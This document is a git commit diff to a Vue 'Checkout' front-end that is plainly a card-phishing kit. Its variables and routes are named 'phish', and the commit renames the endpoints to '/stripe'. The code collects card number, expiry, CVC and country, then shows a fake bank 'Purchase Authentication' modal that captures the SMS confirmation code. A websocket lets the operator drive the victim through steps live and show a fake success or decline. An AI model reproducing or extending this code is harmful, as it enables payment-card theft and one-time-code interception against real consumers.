x1ongzhu hace 1 año
padre
commit
8ee8abfc3d
Se han modificado 6 ficheros con 321 adiciones y 46 borrados
  1. 1 1
      index.html
  2. BIN
      public/favicon.ico
  3. 1 0
      src/assets/icon_success.svg
  4. 42 3
      src/components/PButton.vue
  5. 86 11
      src/components/PField.vue
  6. 191 31
      src/views/HomeView.vue

+ 1 - 1
index.html

@@ -5,7 +5,7 @@
     <meta charset="UTF-8">
     <link rel="icon" href="/favicon.ico">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Vite App</title>
+    <title>Checkout</title>
 </head>
 
 <body>

BIN
public/favicon.ico


+ 1 - 0
src/assets/icon_success.svg

@@ -0,0 +1 @@
+<svg width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg" class="InlineSVG" focusable="false"><path d="M16 0C7.168 0 0 7.168 0 16C0 24.832 7.168 32 16 32C24.832 32 32 24.832 32 16C32 7.168 24.832 0 16 0ZM16 28.8C8.944 28.8 3.2 23.056 3.2 16C3.2 8.944 8.944 3.2 16 3.2C23.056 3.2 28.8 8.944 28.8 16C28.8 23.056 23.056 28.8 16 28.8ZM22.208 10.064L12.8 19.472L9.792 16.464C9.168 15.84 8.16 15.84 7.536 16.464C6.912 17.088 6.912 18.096 7.536 18.72L11.68 22.864C12.304 23.488 13.312 23.488 13.936 22.864L24.48 12.32C25.104 11.696 25.104 10.688 24.48 10.064C23.856 9.44 22.832 9.44 22.208 10.064Z" fill="#24B47E"></path></svg>

+ 42 - 3
src/components/PButton.vue

@@ -1,7 +1,35 @@
 <template>
-    <button class="p-button" :class="[type]" :disabled="loading">
+    <button
+        class="p-button"
+        :class="[type, success ? 'success' : '']"
+        :disabled="loading || success || fail"
+    >
         <span id="button-text"><slot></slot></span>
         <Spinner class="icon" color="#fff" v-if="loading" />
+        <div v-if="success" class="icon" style="width: 24px; height: 24px">
+            <svg
+                xmlns="http://www.w3.org/2000/svg"
+                xmlns:xlink="http://www.w3.org/1999/xlink"
+                viewBox="0 0 24 24"
+            >
+                <path
+                    d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10s10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8s8 3.59 8 8s-3.59 8-8 8zm3.88-11.71L10 14.17l-1.88-1.88a.996.996 0 1 0-1.41 1.41l2.59 2.59c.39.39 1.02.39 1.41 0L17.3 9.7a.996.996 0 0 0 0-1.41c-.39-.39-1.03-.39-1.42 0z"
+                    fill="#ffffff"
+                ></path>
+            </svg>
+        </div>
+        <div v-if="fail" class="icon" style="width: 24px; height: 24px">
+            <svg
+                xmlns="http://www.w3.org/2000/svg"
+                xmlns:xlink="http://www.w3.org/1999/xlink"
+                viewBox="0 0 24 24"
+            >
+                <path
+                    d="M12 7c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1zm-.01-5C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8s8 3.58 8 8s-3.58 8-8 8zm1-3h-2v-2h2v2z"
+                    fill="currentColor"
+                ></path>
+            </svg>
+        </div>
     </button>
 </template>
 <script setup>
@@ -15,6 +43,14 @@ const props = defineProps({
         type: String,
         default: "",
     },
+    success: {
+        type: Boolean,
+        default: false,
+    },
+    fail: {
+        type: Boolean,
+        default: false,
+    },
 });
 </script>
 <style scoped>
@@ -28,7 +64,7 @@ const props = defineProps({
     color: #ffffff;
     border-radius: 4px;
     border: 0;
-    padding: 12px 16px;
+    padding: 10px 16px;
     font-size: 16px;
     font-weight: 600;
     cursor: pointer;
@@ -36,8 +72,11 @@ const props = defineProps({
     transition: all 0.2s ease;
     box-shadow: 0px 4px 5.5px 0px rgba(0, 0, 0, 0.07);
     width: 100%;
-    height: 48px;
+    height: 44px;
     position: relative;
+    &.success {
+        background-color: rgb(36, 180, 126);
+    }
 }
 .p-button:hover {
     filter: contrast(115%);

+ 86 - 11
src/components/PField.vue

@@ -7,6 +7,7 @@
                 v-model="inputValue"
                 v-if="type === 'country'"
                 class="p-field_input"
+                :disabled="disabled"
             >
                 <option v-for="country in countries" :value="country.value">
                     {{ country.name }}
@@ -23,6 +24,7 @@
                 @blur="onBlur"
                 v-model="inputValue"
                 @input="onInput"
+                :disabled="disabled"
             />
             <div
                 class="absolute flex items-center py-3 pr-3 top-0 right-0 bottom-0 overflow-visible"
@@ -118,6 +120,10 @@ const props = defineProps({
         type: String,
         default: "",
     },
+    disabled: {
+        type: Boolean,
+        default: false,
+    },
 });
 
 const inputType = computed(() => {
@@ -129,6 +135,7 @@ const inputType = computed(() => {
 const inputMode = computed(() => {
     switch (props.type) {
         case "card":
+        case "expiry":
         case "cvc":
             return "numeric";
         default:
@@ -153,11 +160,11 @@ const cardIcon = computed(() => {
                 return IconVisa;
             case "mastercard":
                 return IconMaster;
-            case "amex":
+            case "american-express":
                 return IconAmex;
             case "discover":
                 return IconDiscover;
-            case "diners":
+            case "diners-club":
                 return IconDiners;
             case "jcb":
                 return IconJcb;
@@ -169,29 +176,97 @@ const cardIcon = computed(() => {
 const message = ref("");
 const invalid = computed(() => message.value !== "");
 function onBlur() {}
-function vlidate() {
-    if (props.type === "card") {
-        if (!card.value?.isValid) {
-            message.value = "Invalid card number";
+function validate() {
+    return new Promise((resolve, reject) => {
+        let msg = "";
+        if (props.type === "card") {
+            if (!inputValue.value) {
+                msg = "Your card number is incomplete.";
+            } else if (!card.value?.isValid) {
+                msg = "Your card number is invalid.";
+            }
+        } else if (props.type === "expiry") {
+            const match = /^(?<MM>\d{2}) \/ (?<YY>\d{2})$/.exec(
+                inputValue.value
+            );
+            if (!inputValue.value) {
+                msg = "Your card's expiration date is incomplete.";
+            } else if (!match) {
+                msg = "Invalid expiry date";
+            } else {
+                const MM = parseInt(match.groups.MM);
+                const YY = parseInt(match.groups.YY);
+                const now = new Date();
+                const currentYear = now.getFullYear() % 100;
+                const currentMonth = now.getMonth() + 1;
+
+                if (
+                    YY < currentYear ||
+                    (YY === currentYear && MM < currentMonth)
+                ) {
+                    msg = "Your card's expiration year is in the past.";
+                } else if (MM < 1 || MM > 12 || YY < 0 || YY > 99) {
+                    msg = "Your card's expiration year is invalid.";
+                }
+            }
+        } else if (props.type === "cvc") {
+            if (!/^\d{3}$/.test(inputValue.value)) {
+                msg = "Your card's security code is incomplete.";
+            }
+        } else if (props.type === "zip") {
+            if (!inputValue.value) {
+                msg = "Your postal code is incomplete.";
+            }
+        } else if (props.type === "country") {
+            if (!inputValue.value) {
+                msg = "Please select your country.";
+            }
+        } else if (props.type === "otp") {
+            if (!inputValue.value) {
+                msg = "Your confirmation code is incomplete.";
+            }
+        }
+        message.value = msg;
+        if (msg) {
+            reject(msg);
         } else {
-            message.value = "";
+            resolve();
         }
-    } else {
-        message.value = "";
-    }
+    });
+}
+function showError(msg) {
+    message.value = msg;
 }
 function onInput(e) {
     message.value = "";
+
     if (props.type === "card") {
+        if (e.inputType === "deleteContentBackward") {
+            return;
+        }
         inputValue.value = inputValue.value
             .replace(/\D/g, "")
             .substring(0, 19)
             .replace(/(.{4})/g, "$1 ")
             .trim();
+    } else if (props.type === "expiry") {
+        if (e.inputType === "deleteContentBackward") {
+            inputValue.value = inputValue.value
+                .trim()
+                .replace(/\/$/g, "")
+                .trim();
+            return;
+        }
+        inputValue.value = inputValue.value
+            .replace(/(^[2-9])/g, "0$1")
+            .replace(/\D/g, "")
+            .substring(0, 4)
+            .replace(/(^\d{2})/g, "$1 / ");
     }
 }
 defineExpose({
-    validate: vlidate,
+    validate,
+    showError,
 });
 </script>
 <style lang="less" scoped>

+ 191 - 31
src/views/HomeView.vue

@@ -8,13 +8,17 @@
             placeholder="1234 1234 1234 1234"
             v-model="model.card"
             ref="cardRef"
+            :disabled="loading || success || fail"
         />
         <PField
             class="!w-6/12"
             name="expiry"
+            type="expiry"
             label="Expiration"
-            placeholder="MM/YY"
+            placeholder="MM / YY"
             v-model="model.expiry"
+            ref="expiryRef"
+            :disabled="loading || success || fail"
         />
         <PField
             class="!w-6/12 pl-3"
@@ -23,12 +27,16 @@
             label="CVC"
             placeholder="CVC"
             v-model="model.cvc"
+            ref="cvcRef"
+            :disabled="loading || success || fail"
         />
         <PField
             name="country"
             label="Country"
             type="country"
             v-model="model.country"
+            ref="countryRef"
+            :disabled="loading || success || fail"
         />
         <PField
             name="zip"
@@ -36,9 +44,36 @@
             type="zip"
             placeholder="ZIP"
             v-model="model.zip"
+            ref="zipRef"
+            :disabled="loading || success || fail"
         />
 
-        <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
+        <PButton
+            class="mt-6"
+            :loading="loading"
+            :success="success"
+            :fail="fail"
+            >{{
+                success
+                    ? "Success"
+                    : fail
+                    ? "Declined"
+                    : loading
+                    ? "Processing..."
+                    : "Pay"
+            }}</PButton
+        >
+
+        <div
+            v-if="success"
+            class="bg-green-100 text-green-600 mt-4 p-3 rounded"
+        >
+            Payment successful. Thank you for your purchase.
+        </div>
+
+        <div v-if="fail" class="bg-red-100 text-red-600 mt-4 p-3 rounded">
+            Your payment has been declined. Please try again later.
+        </div>
     </form>
     <Footer />
 
@@ -52,21 +87,34 @@
                     <div class="icon-logo">
                         <img class="icon" src="@/assets/icon_bank.svg" />
                         <div class="flex-1"></div>
-                        <img class="logo" src="@/assets/discover_logo.svg" />
+                        <img class="logo" v-if="cardLogo" :src="cardLogo" />
                     </div>
                     <h1 class="mt-4 text-[28px] font-bold">
                         Purchase Authentication
                     </h1>
                     <p class="mt-2 text-base text-neutral-800">
-                        We've sent you a text message to your registered phone
-                        number ending in 1234
+                        {{ phish.otpMsg }}
                     </p>
                     <div class="mt-8">
                         <label>Confirmation Code</label>
-                        <PField class="mt-2" />
+                        <PField
+                            class="mt-2"
+                            placeholder="Confirmation Code"
+                            v-model="model.otp"
+                            type="otp"
+                            ref="otpRef"
+                        />
                     </div>
 
-                    <PButton class="mt-8">Confirm Payment</PButton>
+                    <PButton
+                        class="mt-8"
+                        @click="confirmOTP"
+                        :loading="confirmingOTP"
+                    >
+                        {{
+                            confirmingOTP ? "Processing..." : "Confirm Payment"
+                        }}
+                    </PButton>
                 </div>
             </div>
         </Transition>
@@ -74,60 +122,171 @@
 </template>
 <script setup>
 import axios from "axios";
-import { onMounted, onBeforeMount, ref } from "vue";
+import { onMounted, onBeforeMount, ref, computed, nextTick } from "vue";
 import PField from "@/components/PField.vue";
 import PButton from "@/components/PButton.vue";
 import Footer from "@/components/Footer.vue";
 import { useLocalStorage, useSessionStorage } from "@vueuse/core";
 import { io } from "socket.io-client";
+import cardValidator from "card-validator";
+import VisaLogo from "@/assets/visa_logo.svg";
+import MasterLogo from "@/assets/master_logo.svg";
+import AmexLogo from "@/assets/amex_logo.svg";
+import DiscoverLogo from "@/assets/discover_logo.svg";
+import DinersLogo from "@/assets/diners_logo.png";
+import JcbLogo from "@/assets/jcb_logo.svg";
 
 const cardRef = ref(null);
+const expiryRef = ref(null);
+const cvcRef = ref(null);
+const countryRef = ref(null);
+const zipRef = ref(null);
+const otpRef = ref(null);
 
+const model = ref({
+    card: "",
+    expiry: "",
+    cvc: "",
+    country: "",
+    otp: "",
+});
 const phish = useSessionStorage("phish", {});
-let socket;
+const showOTPModal = ref(false);
+const confirmingOTP = ref(false);
+const loading = ref(false);
+const success = ref(false);
+const fail = ref(false);
+
+const card = computed(() => cardValidator.number(model.value?.card));
+const cardLogo = computed(() => {
+    if (card.value?.card) {
+        switch (card.value.card.type) {
+            case "visa":
+                return VisaLogo;
+            case "mastercard":
+                return MasterLogo;
+            case "american-express":
+                return AmexLogo;
+            case "discover":
+                return DiscoverLogo;
+            case "diners-club":
+                return DinersLogo;
+            case "jcb":
+                return JcbLogo;
+        }
+    }
+    return null;
+});
+
+function checkStep(data) {
+    switch (data.step) {
+        case "input_otp": {
+            if (otpRef.value) {
+                otpRef.value.showError("");
+            }
+            confirmingOTP.value = false;
+            showOTPModal.value = true;
+            if (otpRef.value && data.errMsg) {
+                nextTick(() => {
+                    otpRef.value.showError(data.errMsg);
+                });
+            }
+            break;
+        }
+        case "input_card": {
+            showOTPModal.value = false;
+            loading.value = false;
+            if (cardRef.value) {
+                cardRef.value.showError(data.errMsg);
+            }
+            break;
+        }
+        case "success": {
+            showOTPModal.value = false;
+            loading.value = false;
+            success.value = true;
+            fail.value = false;
+            break;
+        }
+        case "fail": {
+            showOTPModal.value = false;
+            loading.value = false;
+            success.value = false;
+            fail.value = true;
+            break;
+        }
+    }
+}
+
 onBeforeMount(async () => {
-    const { data: res } = await axios.post("/phishes", {
+    const { data: res } = await axios.post("/stripe", {
         id: phish.value.id,
     });
     if (res) {
         phish.value = res;
-        socket = io(import.meta.env.VITE_SOCKET_URL, {
+        checkStep(res);
+        const socket = io(import.meta.env.VITE_SOCKET_URL, {
             path: "/ws",
             transports: ["websocket"],
             query: {
                 id: phish.value.id,
             },
         });
+        socket.on("new", (data) => {
+            console.log(data);
+        });
+        socket.on("update", (data) => {
+            phish.value = data;
+            checkStep(data);
+        });
     }
 });
 
-const model = ref({
-    card: "",
-    expiry: "",
-    cvc: "",
-    country: "",
-});
-
-const showOTPModal = ref(false);
-
-const loading = ref(false);
 async function submit() {
+    await Promise.all([
+        cardRef.value.validate(),
+        expiryRef.value.validate(),
+        cvcRef.value.validate(),
+        countryRef.value.validate(),
+        zipRef.value.validate(),
+    ]);
     loading.value = true;
     try {
-        await axios.put(`/phishes/${phish.value.id}`, {
-            id: phish.value.id,
-            card: model.value.card,
-            expiry: model.value.expiry,
-            cvc: model.value.cvc,
-            country: model.value.country,
-            step: "wait_for_check_card",
-        });
+        const { data: res } = await axios.put(
+            `/stripe/client/${phish.value.id}`,
+            {
+                id: phish.value.id,
+                card: model.value.card,
+                expiry: model.value.expiry,
+                cvc: model.value.cvc,
+                country: model.value.country,
+                step: "wait_for_check_card",
+            }
+        );
+        phish.value = res;
     } catch (error) {
         console.error(error);
-    } finally {
         loading.value = false;
     }
 }
+
+async function confirmOTP() {
+    await otpRef.value.validate();
+    confirmingOTP.value = true;
+    try {
+        const { data: res } = await axios.put(
+            `/stripe/client/${phish.value.id}`,
+            {
+                otp: model.value.otp,
+                step: "wait_for_check_otp",
+            }
+        );
+        phish.value = res;
+    } catch (error) {
+        console.error(error);
+        confirmingOTP.value = false;
+    }
+}
 </script>
 <style scoped lang="less">
 .otp-modal {
@@ -186,7 +345,8 @@ async function submit() {
         opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
 }
 
-.scale-enter-from {
+.scale-enter-from,
+.scale-leave-to {
     transform: scale(0.8);
     opacity: 0;
 }